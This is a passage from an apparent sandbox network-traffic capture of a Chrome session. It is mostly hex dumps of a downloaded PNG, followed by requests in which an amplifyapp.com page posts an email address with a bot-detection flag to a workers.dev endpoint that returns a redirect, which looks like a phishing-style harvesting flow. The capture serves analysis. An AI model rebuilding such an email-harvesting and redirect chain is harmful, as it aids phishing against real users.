Ascii: [[-W[.~efOI7(W++GF~[[[f$CKbQ,%_uVX(@9p@-9ryll~stmIe0P&'O>auK!F11&8tS!3d0E(;+,,"Ecnd,cxM4
2025-01-15 12:08:02 UTC	1369	IN	Data Raw: a6 c4 02 00 00 00 2a 4f 30 00 00 b0 2c 00 00 00 00 c1 00 00 40 2c 00 00 00 00 c1 00 00 40 2c 00 00 00 00 c1 00 00 40 2c 00 00 00 00 c1 00 00 40 2c 00 00 00 80 76 30 d8 2b 8a 1b c1 00 00 40 2c 00 00 00 20 b0 a3 56 6b 4d 30 00 00 e8 69 4a 2c 00 00 00 a0 d6 04 03 00 00 cb 02 00 00 00 68 07 83 97 f7 f7 0c 00 00 b1 00 00 00 80 a0 52 30 d8 29 8a 3b c1 00 00 40 2c 00 00 00 20 b0 93 a7 a7 15 c1 00 00 40 2c 00 00 00 20 38 c1 00 00 40 2c 00 00 00 80 2c 05 83 ed 3c bf 15 0c 00 00 b2 64 56 2c 00 00 00 20 a4 d3 b2 5c b5 30 00 00 f8 22 16 00 00 00 10 96 4b 22 00 80 b6 71 b1 00 00 00 80 b0 04 03 00 00 b1 00 00 00 00 04 03 00 00 b1 00 00 00 00 04 03 00 20 bc 31 b1 00 00 00 00 04 03 00 20 36 cb 02 00 00 00 e8 0c 06 cf 82 01 00 10 8b 65 01 00 00 00 74 06 83 ad 3c bf 17 0c Data Ascii: *O0,@,@,@,@,v0+@, VkM0iJ,hR0);@, @, 8@,,<dV, \0"K"q 1 6et<
2025-01-15 12:08:02 UTC	1369	IN	Data Raw: 9e 4c 76 04 03 00 68 bc a1 58 00 00 00 00 08 06 00 90 9b 58 00 00 00 00 08 06 00 90 dc bd 58 00 00 00 00 c4 a6 82 c1 91 60 00 00 2b 73 b3 00 00 00 00 e8 94 2b c1 00 00 9a 68 20 16 00 00 00 00 9f 04 03 00 48 c9 b2 00 00 00 00 f8 4a 30 00 80 74 c4 02 00 00 00 e0 27 c1 00 00 52 f1 0d 11 00 00 00 f0 3b c1 00 00 d2 b0 2c 00 00 00 00 16 d8 50 30 38 2d 8a 00 00 be 13 0b 00 00 00 80 24 3e 82 c1 71 bf 3f 15 0c 00 e0 5f 5c 8a 05 00 00 00 40 23 0c ca 72 5b 30 00 80 8d 1b 45 c4 4c 2c 00 00 00 00 96 22 18 00 40 27 dd 46 45 2c 00 00 00 00 96 26 18 00 40 e7 0c c4 02 00 00 00 60 55 82 01 00 74 8b 65 01 00 00 00 d0 5c 82 01 00 88 05 00 00 00 00 82 01 00 f8 86 08 00 00 00 40 30 00 80 9a 5d 8b 05 00 00 00 40 2b 08 06 00 50 9b 4b b1 00 00 00 00 68 0d c1 00 00 6a 71 21 16 00 Data Ascii: LvhXXX`+s+h HJ0t'R;,P08-$>q?_\@#r[0EL,"@'FE,&@`Ute\@0]@+PKhjq!
2025-01-15 12:08:02 UTC	1369	IN	Data Raw: ef a0 05 00 00 00 00 00 9a 6d 53 2c 00 00 00 00 00 80 66 6b 89 05 00 00 00 00 00 d0 6c 5e 16 00 00 00 00 00 40 c3 89 05 00 00 00 00 00 d0 60 9d 88 38 15 0b 00 00 00 00 00 a0 b9 36 63 41 2c 00 00 00 00 00 80 e6 6a 89 05 00 00 00 00 00 d0 6c 62 01 00 00 00 00 00 34 dc 3d b1 00 00 00 00 00 00 9a eb 30 22 9e 8b 05 00 00 00 00 00 d0 5c 6b b1 20 16 00 00 00 f0 96 7d 3b 48 6d 2a 80 02 28 7a bb ff 25 25 86 26 68 d3 d6 a0 e0 44 67 22 8e 04 75 20 2d 38 68 9b fe 4d 34 7c 78 e7 6c e3 72 01 00 98 eb a3 58 00 00 00 00 00 00 b3 9d c4 02 00 00 00 00 00 98 ed 5e 2c 00 00 00 00 00 80 b9 7e 56 bf c5 02 00 00 00 00 00 98 eb 54 25 16 00 00 00 00 00 c0 5c 62 01 00 00 00 00 00 0c 27 16 00 00 00 00 00 c0 70 b7 62 01 00 00 00 00 00 cc f5 bd fa 27 16 00 00 00 00 00 c0 5c a7 2a b1 Data Ascii: mS,fkl^@`86cA,jlb4=0"\k };Hm(z%%&hDg"u -8hM4\|xlrX^,~VT%\b'pb'\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49763	104.17.124.183	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:03 UTC	395	OUT	GET /f1718227932057x822365466237625200/DOCU-60cafc67.png HTTP/1.1 Host: meta-q.cdn.bubble.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:03 UTC	709	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:03 GMT Content-Type: image/png Content-Length: 22658 Connection: close Cf-Bgj: imgq:100,h2pri Cf-Polished: origSize=33006 Last-Modified: Wed, 12 Jun 2024 21:32:13 GMT cache-control: public,max-age=86400 etag: "282ba85a1c65bfadc21a004e2a4a9ad5" x-amz-id-2: ceXUydcp6EAs/OZblvKkETJpNdWi0JeGYg9lQidHUJLcNiC1OGrUQzjPkrOaNNvxFsuqsOXZTSU= x-amz-meta-app-version: live x-amz-meta-appname: meta x-amz-request-id: PYXAYR22FQQDKA78 x-amz-server-side-encryption: AES256 x-amz-version-id: VJwr9ehspq7Y4Hruul9084tFCPC0kb1W CF-Cache-Status: HIT Age: 64145 Accept-Ranges: bytes Server: cloudflare CF-RAY: 9025bfbe2c9343f1-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:03 UTC	660	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 06 0b 00 00 06 0d 08 06 00 00 00 f4 90 6b 42 00 00 00 01 73 52 47 42 01 d9 c9 2c 7f 00 00 58 3c 49 44 41 54 78 da ec dd df eb dd 05 1d c7 f1 e7 5a f8 63 9b a5 a3 81 a2 e2 5a 33 d0 0a ac 06 82 20 b1 81 50 14 44 6a 11 68 45 66 84 17 d6 55 84 83 ac 2e bc 89 2e 2c 2a a2 1f 42 3f c0 8b 46 20 c6 c4 95 2b 67 5b d2 dc 82 72 df fc b1 2d 37 6d e4 36 99 b5 59 a3 82 ba 39 f0 85 f6 fd ea be ba ef f6 3d 9f f3 78 c0 8b cf 39 e7 2f 38 9c 27 6f ce a2 ff 5e 7f 7d 00 c0 6b b2 a2 ba a0 3a bf 5a 12 00 00 b3 f9 4f f5 ef 9a de f4 67 27 ec a5 00 80 d3 e6 f5 01 00 27 eb ea 6a 5d 75 45 b5 6a b4 8b 02 00 60 3e 1d af fe 31 cb fe 39 c3 67 c7 aa bf 57 7f 9b 65 07 03 00 4e b0 c8 65 01 00 cc ea 9c ea c6 ea 83 d5 75 d5 1b 03 00 60 08 Data Ascii: PNGIHDRkBsRGB,X<IDATxZcZ3 PDjhEfU..,*B?F +g[r-7m6Y9=x9/8'o^}k:ZOg''j]uEj`>19gWeNeu`
2025-01-15 12:08:03 UTC	1369	IN	Data Raw: 7b 00 00 c0 42 f0 4c f5 40 f5 50 b5 a9 3a 1a 00 0b d2 eb 02 80 61 f9 76 00 00 c0 42 b1 b2 ba ad da 50 1d a9 b6 56 77 56 57 fb 5d 0a 60 4e 5c 16 00 c0 1c 7c bc fa 61 00 00 c0 38 38 52 fd b2 da 54 6d ac 0e 04 c0 cc c4 02 00 38 69 e7 56 7b aa 8b 02 00 00 c6 d1 ae ea be 6a 63 b5 35 00 a6 89 05 00 70 d2 3e 57 dd 1d 00 00 30 04 87 aa 8d d5 fd d5 83 d5 b1 00 f0 9f 05 00 f0 0a ce aa be 10 00 00 30 14 2b aa 4f 54 1b aa 17 aa 4d d5 ed d5 a5 01 e0 b2 00 00 66 f1 e9 ea bb 01 00 00 93 60 aa ba af da 50 ed 0c 00 97 05 00 30 f2 99 00 00 80 49 71 65 75 47 b5 a3 9a aa be 58 ad 0e 00 97 05 00 4c b4 37 57 7b 03 00 00 26 dd 8e ea de d1 0e 04 80 cb 02 00 26 ca ad 01 00 00 d4 bb ab af 55 cf 55 5b aa db aa e5 01 e0 b2 00 80 89 f0 64 f5 d6 00 00 00 66 f6 8b a6 2f 0e 8e 07 80 cb Data Ascii: {BL@P:avBPVwVW]`N\\|a88RTm8iV{jc5p>W00+OTMf`P0IqeuGXL7W{&&UU[df/
2025-01-15 12:08:03 UTC	1369	IN	Data Raw: 00 00 60 ea b6 55 4b d5 a1 6a 5d c0 df 88 05 00 00 00 00 c0 08 d6 57 87 ab c5 6a 73 c0 9f 88 05 00 00 00 00 c0 48 76 54 cb d5 e3 01 7f 10 0b 00 00 00 00 80 d1 6c ac de ab de af ae 09 48 2c 00 00 00 00 00 46 f5 58 f5 63 b5 3b 40 2c 00 00 00 00 00 86 75 63 75 b2 7a c5 e3 c7 20 16 00 00 00 00 00 e3 ba a2 7a b1 5a ac 16 02 c4 02 00 00 00 00 60 58 3b aa b3 d5 93 01 62 01 00 00 00 00 30 ac 0d d5 3b d5 87 d5 d5 01 62 01 00 00 00 00 30 ac 47 aa a5 ea d6 00 b1 00 00 00 00 00 18 d6 96 ea bb ea e9 00 b1 00 00 00 00 00 18 d6 7c f5 56 75 cc 6f 89 40 2c 00 00 00 00 00 c6 b6 bf 5a aa 6e 09 10 0b 00 00 00 00 80 61 6d a9 ce 54 4f 05 88 05 00 00 00 00 c0 b0 e6 ab b7 ab 63 d5 7c 80 58 00 c0 e4 ad 04 00 00 00 ff 6c 7f f5 7d b5 10 f0 3b 7b f7 ce 1a 66 1d 05 60 fc c9 45 6b 4a Data Ascii: `UKj]WjsHvTlH,FXc;@,ucuz zZ`X;b0;b0G\|Vuo@,ZnamTOc\|Xl};{f`EkJ
2025-01-15 12:08:03 UTC	1369	IN	Data Raw: 00 00 00 00 80 d1 2e 54 5f 07 62 01 00 0b b2 1f 00 00 00 b0 8a 03 d5 ed ea e3 40 2c 00 60 21 36 02 00 00 00 56 75 b4 ba 55 6d 05 62 01 00 00 00 00 c0 58 c7 aa dd 6a 33 10 0b 00 00 00 00 00 c6 da a9 ce 05 62 01 00 00 00 00 c0 68 67 aa 1f 02 b1 00 00 00 00 00 60 b4 7f ab 9d 18 4f 2c 00 00 00 00 00 98 6b b3 da ad 3e 88 d1 c4 02 00 00 00 00 80 d9 b6 aa bb d5 56 8c 25 16 00 00 00 00 00 70 ac da f5 33 9e cb e1 01 00 00 00 00 a8 da a9 ce c5 48 62 01 00 00 00 00 00 0f fd 54 9d 8e 71 c4 02 00 00 00 00 00 ea 91 ff aa af 62 14 b1 00 00 00 00 00 80 7a e4 40 75 ad 7a 27 c6 10 0b 00 00 00 00 00 78 dc 76 75 a3 3a 18 23 88 05 00 00 00 00 00 3c c9 e7 d5 f9 18 41 2c 00 00 00 00 00 e0 69 4e 55 bf c6 e2 89 05 00 00 00 00 00 3c cb d9 ea db 58 34 b1 00 00 00 00 00 80 e7 fd 91 Data Ascii: .T_b@,`!6VuUmbXj3bhg`O,k>V%p3HbTqbz@uz'xvu:#<A,iNU<X4
2025-01-15 12:08:03 UTC	1369	IN	Data Raw: da 87 ea 74 88 05 00 2c 94 cd 00 00 00 00 fe de a9 ea 63 88 05 00 2c 14 37 0c 00 00 00 d8 ab 67 d5 d9 30 b4 00 00 00 00 00 30 d6 89 ea 53 88 05 00 00 00 00 00 8c b6 5a 9d 0f b1 00 00 00 00 00 80 b1 8e 55 6b 21 16 00 00 00 00 00 30 da d3 ea 62 88 05 00 00 00 00 00 8c 75 a4 5a 0f b1 00 00 00 00 00 80 d1 1e f9 5d 20 16 00 00 00 00 00 30 db a1 ea 6b 88 05 00 00 00 00 00 8c 76 bf ba 1c 62 01 00 00 00 00 00 63 2d 55 df 42 2c 00 e0 c0 da 0c 00 00 00 e0 df dd ab ae 37 9c 58 00 c0 41 e5 86 01 00 00 00 ff cb 7a c3 19 5a 00 00 00 00 00 98 ee 6e 75 a5 c1 c4 02 00 00 00 00 00 a6 5b aa 3e 35 98 58 00 00 00 00 00 00 f5 a0 ba d4 50 62 01 00 00 00 00 00 d4 a1 ea 5d 43 89 05 00 00 00 00 00 50 55 8f ab 73 0d 24 16 00 00 00 00 00 40 55 1d a9 3e 36 90 58 00 00 00 00 00 00 6d Data Ascii: t,c,7g00SZUk!0buZ] 0kvbc-UB,7XAzZnu[>5XPb]CPUs$@U>6Xm
2025-01-15 12:08:03 UTC	1369	IN	Data Raw: 02 00 00 00 58 96 df 5d 47 2c 00 80 b5 56 01 00 00 00 2c cb 5e b5 d5 55 62 01 00 00 00 00 00 8c b1 59 7d e9 0a b1 00 00 00 00 00 00 66 39 ea 0a b1 00 00 00 00 00 00 66 39 ec 0a b1 00 00 00 00 00 00 66 79 5a bd ea 12 b1 00 00 00 00 00 00 e6 f9 d9 25 62 01 00 00 00 00 00 cc 73 d4 25 62 01 00 00 00 00 00 cc f3 a1 da ae aa 12 0b 00 00 00 00 00 60 9e 55 f5 ab aa 12 0b 00 00 00 00 00 60 a8 a3 aa 2a b1 00 00 00 00 00 00 66 fa 51 3d a8 12 0b 00 00 00 00 00 60 a6 ed 6a b7 4a 2c 00 80 f5 ce 03 00 00 00 58 b6 c3 aa c4 02 00 b0 61 00 00 00 c0 58 df aa 1c 2d 00 00 00 00 00 30 d7 eb ea 91 58 00 00 00 00 00 00 b3 7d 17 0b 00 00 00 00 00 60 b6 7d b1 00 00 00 00 00 00 66 3b 10 0b 00 00 00 00 00 60 b6 e7 d5 0b b1 00 00 00 00 00 00 66 3b 10 0b 00 00 00 00 00 60 b6 7d b1 00 Data Ascii: X]G,V,^UbY}f9f9fyZ%bs%b`U`*fQ=`jJ,XaX-0X}`}f;`f;`}
2025-01-15 12:08:03 UTC	1369	IN	Data Raw: 05 00 0e b0 9f 5b 5b 2d 57 c7 c7 5b 2e 8d 8e 7e f9 a5 65 00 00 c0 ff eb da ed b0 e0 66 92 4f 49 ce 06 00 f2 37 cd 02 00 28 87 57 2b 2b ed c7 47 46 be 7e 5b 5b 5b 0f 00 00 ec b1 66 c1 9d 24 43 01 80 ea a9 4b 62 cc 12 80 9a b0 b2 b1 d1 d6 51 2c ae 17 97 97 ad 25 02 00 e0 5f 75 ee 56 58 f0 28 c9 93 00 40 95 39 70 0c 40 2d d9 dc d9 39 72 79 6c ac f0 6c 7e fe 73 00 00 a0 74 6d 49 0e 97 fb a3 65 30 c9 fd 00 00 00 50 0d 0d b7 26 27 4f 3e 9c 9d 9d 0a 00 00 94 ae bb 9c 61 c1 75 87 8c 01 d8 4b ac 21 02 a0 46 d5 0d cc cc 9c bb 31 31 f1 26 00 00 bf d9 bb 9b 16 1f f7 38 8e e3 9f ab dc 74 9c 85 53 ce c9 21 33 64 30 c4 82 14 45 94 94 9b 28 3b 2b ca c2 b3 b0 f2 2c 2c ec d8 d8 8a 22 45 63 6e 64 a1 2c 94 94 95 0d 63 78 0c 7f 4d d9 08 ff b9 ae f9 8f e9 ba ae df eb f5 34 de Data Ascii: [[-W[.~efOI7(W++GF~[[[f$CKbQ,%_uVX(@9p@-9ryll~stmIe0P&'O>auK!F11&8tS!3d0E(;+,,"Ecnd,cxM4
2025-01-15 12:08:03 UTC	1369	IN	Data Raw: a6 c4 02 00 00 00 2a 4f 30 00 00 b0 2c 00 00 00 00 c1 00 00 40 2c 00 00 00 00 c1 00 00 40 2c 00 00 00 00 c1 00 00 40 2c 00 00 00 00 c1 00 00 40 2c 00 00 00 80 76 30 d8 2b 8a 1b c1 00 00 40 2c 00 00 00 20 b0 a3 56 6b 4d 30 00 00 e8 69 4a 2c 00 00 00 a0 d6 04 03 00 00 cb 02 00 00 00 68 07 83 97 f7 f7 0c 00 00 b1 00 00 00 80 a0 52 30 d8 29 8a 3b c1 00 00 40 2c 00 00 00 20 b0 93 a7 a7 15 c1 00 00 40 2c 00 00 00 20 38 c1 00 00 40 2c 00 00 00 80 2c 05 83 ed 3c bf 15 0c 00 00 b2 64 56 2c 00 00 00 20 a4 d3 b2 5c b5 30 00 00 f8 22 16 00 00 00 10 96 4b 22 00 80 b6 71 b1 00 00 00 80 b0 04 03 00 00 b1 00 00 00 00 04 03 00 00 b1 00 00 00 00 04 03 00 20 bc 31 b1 00 00 00 00 04 03 00 20 36 cb 02 00 00 00 e8 0c 06 cf 82 01 00 10 8b 65 01 00 00 00 74 06 83 ad 3c bf 17 0c Data Ascii: *O0,@,@,@,@,v0+@, VkM0iJ,hR0);@, @, 8@,,<dV, \0"K"q 1 6et<
2025-01-15 12:08:03 UTC	1369	IN	Data Raw: 9e 4c 76 04 03 00 68 bc a1 58 00 00 00 00 08 06 00 90 9b 58 00 00 00 00 08 06 00 90 dc bd 58 00 00 00 00 c4 a6 82 c1 91 60 00 00 2b 73 b3 00 00 00 00 e8 94 2b c1 00 00 9a 68 20 16 00 00 00 00 9f 04 03 00 48 c9 b2 00 00 00 00 f8 4a 30 00 80 74 c4 02 00 00 00 e0 27 c1 00 00 52 f1 0d 11 00 00 00 f0 3b c1 00 00 d2 b0 2c 00 00 00 00 16 d8 50 30 38 2d 8a 00 00 be 13 0b 00 00 00 80 24 3e 82 c1 71 bf 3f 15 0c 00 e0 5f 5c 8a 05 00 00 00 40 23 0c ca 72 5b 30 00 80 8d 1b 45 c4 4c 2c 00 00 00 00 96 22 18 00 40 27 dd 46 45 2c 00 00 00 00 96 26 18 00 40 e7 0c c4 02 00 00 00 60 55 82 01 00 74 8b 65 01 00 00 00 d0 5c 82 01 00 88 05 00 00 00 00 82 01 00 f8 86 08 00 00 00 40 30 00 80 9a 5d 8b 05 00 00 00 40 2b 08 06 00 50 9b 4b b1 00 00 00 00 68 0d c1 00 00 6a 71 21 16 00 Data Ascii: LvhXXX`+s+h HJ0t'R;,P08-$>q?_\@#r[0EL,"@'FE,&@`Ute\@0]@+PKhjq!
2025-01-15 12:08:03 UTC	1369	IN	Data Raw: ef a0 05 00 00 00 00 00 9a 6d 53 2c 00 00 00 00 00 80 66 6b 89 05 00 00 00 00 00 d0 6c 5e 16 00 00 00 00 00 40 c3 89 05 00 00 00 00 00 d0 60 9d 88 38 15 0b 00 00 00 00 00 a0 b9 36 63 41 2c 00 00 00 00 00 80 e6 6a 89 05 00 00 00 00 00 d0 6c 62 01 00 00 00 00 00 34 dc 3d b1 00 00 00 00 00 00 9a eb 30 22 9e 8b 05 00 00 00 00 00 d0 5c 6b b1 20 16 00 00 00 f0 96 7d 3b 48 6d 2a 80 02 28 7a bb ff 25 25 86 26 68 d3 d6 a0 e0 44 67 22 8e 04 75 20 2d 38 68 9b fe 4d 34 7c 78 e7 6c e3 72 01 00 98 eb a3 58 00 00 00 00 00 00 b3 9d c4 02 00 00 00 00 00 98 ed 5e 2c 00 00 00 00 00 80 b9 7e 56 bf c5 02 00 00 00 00 00 98 eb 54 25 16 00 00 00 00 00 c0 5c 62 01 00 00 00 00 00 0c 27 16 00 00 00 00 00 c0 70 b7 62 01 00 00 00 00 00 cc f5 bd fa 27 16 00 00 00 00 00 c0 5c a7 2a b1 Data Ascii: mS,fkl^@`86cA,jlb4=0"\k };Hm(z%%&hDg"u -8hM4\|xlrX^,~VT%\b'pb'\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49766	104.21.96.1	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:08 UTC	594	OUT	OPTIONS / HTTP/1.1 Host: mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://archive1.diqx8fescpsb0.amplifyapp.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://archive1.diqx8fescpsb0.amplifyapp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:08 UTC	962	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:08 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://archive1.diqx8fescpsb0.amplifyapp.com Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: POST, OPTIONS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kw0uD311Tg0rMZMNNQ9iY0DvtBzuv0MwRkMOXXzv31htwD5BTHpCHhWwtr%2B%2Bc%2FPXMcXajv%2FIX9tOfsdyZKpLXM8edwktoF8yUxBxB8IY0QGcGlLMUvb3%2BD%2BkQ7KHbpo6fFwppgy391ea%2BES3J0yk9HkSOJ%2BEM%2Bxq93QmcOebv7ocVvUcWItUpbzCPiOTkzp%2F1cyS9w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9025bfde0c4e42c0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1696&min_rtt=1689&rtt_var=649&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2899&recv_bytes=1172&delivery_rate=1667618&cwnd=212&unsent_bytes=0&cid=b6778f21c099d3ee&ts=162&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49768	104.21.96.1	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:09 UTC	690	OUT	POST / HTTP/1.1 Host: mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev Connection: keep-alive Content-Length: 47 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://archive1.diqx8fescpsb0.amplifyapp.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://archive1.diqx8fescpsb0.amplifyapp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:09 UTC	47	OUT	Data Raw: 7b 22 65 6d 61 69 6c 22 3a 22 70 38 67 74 75 74 40 64 77 75 79 6e 2e 69 6f 22 2c 22 62 6f 74 44 65 74 65 63 74 65 64 22 3a 66 61 6c 73 65 7d Data Ascii: {"email":"p8gtut@dwuyn.io","botDetected":false}
2025-01-15 12:08:09 UTC	893	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:09 GMT Content-Type: text/plain Content-Length: 106 Connection: close Access-Control-Allow-Origin: https://archive1.diqx8fescpsb0.amplifyapp.com Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sr%2B0RehSSCehaHIiFK51j2kmnH2bleOq33ArwtWQdhBBly%2Bz4uugqk2NZFePL8ShUic1kRlL1xBuO25h6p0feagyhJyDbcgn9c8M89OrFvmpJFoAc%2FQM8UeesgfXG0p9geBJfSVH7zQvmSI8DSDQ%2Fl4oRNZfiZ%2Fnbg9lhTjYWfGfjmN0ws%2BddEWqgzqEwEnFzBrn0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9025bfe4d8f442c0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1728&min_rtt=1722&rtt_var=658&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2901&recv_bytes=1337&delivery_rate=1646926&cwnd=212&unsent_bytes=0&cid=24d8013d7ce10099&ts=152&x=0"
2025-01-15 12:08:09 UTC	106	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 6d 67 75 79 2d 61 75 74 68 2d 70 72 6f 74 65 63 74 65 64 2d 65 6e 64 70 6f 69 6e 74 2e 64 38 37 34 63 37 63 31 66 38 30 36 32 61 66 63 34 66 32 66 64 31 35 33 2e 77 6f 72 6b 65 72 73 2e 64 65 76 2f 72 65 64 69 72 65 63 74 3f 65 6d 61 69 6c 3d 70 38 67 74 75 74 25 34 30 64 77 75 79 6e 2e 69 6f Data Ascii: https://mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev/redirect?email=p8gtut%40dwuyn.io

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49770	104.21.64.1	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:10 UTC	389	OUT	GET / HTTP/1.1 Host: mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:10 UTC	888	IN	HTTP/1.1 405 Method Not Allowed Date: Wed, 15 Jan 2025 12:08:10 GMT Content-Type: text/plain;charset=UTF-8 Content-Length: 19 Connection: close Access-Control-Allow-Origin: null Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zb8b%2BKyEAFIIbkNpwNAVLOV1AA%2BmlgkfL7ixjBEzBLmR7b%2Fzr7GrcKWiaaCWlBKGivicgt2BAOzkLznx%2BNEIaO2bwD9zvX6B%2B6%2BXajONY85y1aRVBBZ1%2Bl0a55oCfq%2F02UAUwDJJTpS%2B4TMFPn0ImSFhzLR7RdMBq6191XYsBhGZpTDUStqalWP%2F754FbM7dWWI0sg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9025bfebde8e4414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1687&min_rtt=1670&rtt_var=662&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2900&recv_bytes=967&delivery_rate=1610590&cwnd=180&unsent_bytes=0&cid=fefdafd9c424116b&ts=158&x=0"
2025-01-15 12:08:10 UTC	19	IN	Data Raw: 4d 65 74 68 6f 64 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 2e Data Ascii: Method not allowed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49771	35.190.80.1	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:11 UTC	670	OUT	OPTIONS /report/v4?s=Zb8b%2BKyEAFIIbkNpwNAVLOV1AA%2BmlgkfL7ixjBEzBLmR7b%2Fzr7GrcKWiaaCWlBKGivicgt2BAOzkLznx%2BNEIaO2bwD9zvX6B%2B6%2BXajONY85y1aRVBBZ1%2Bl0a55oCfq%2F02UAUwDJJTpS%2B4TMFPn0ImSFhzLR7RdMBq6191XYsBhGZpTDUStqalWP%2F754FbM7dWWI0sg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:11 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 15 Jan 2025 12:08:11 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49772	35.190.80.1	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:12 UTC	562	OUT	POST /report/v4?s=Zb8b%2BKyEAFIIbkNpwNAVLOV1AA%2BmlgkfL7ixjBEzBLmR7b%2Fzr7GrcKWiaaCWlBKGivicgt2BAOzkLznx%2BNEIaO2bwD9zvX6B%2B6%2BXajONY85y1aRVBBZ1%2Bl0a55oCfq%2F02UAUwDJJTpS%2B4TMFPn0ImSFhzLR7RdMBq6191XYsBhGZpTDUStqalWP%2F754FbM7dWWI0sg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 434 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
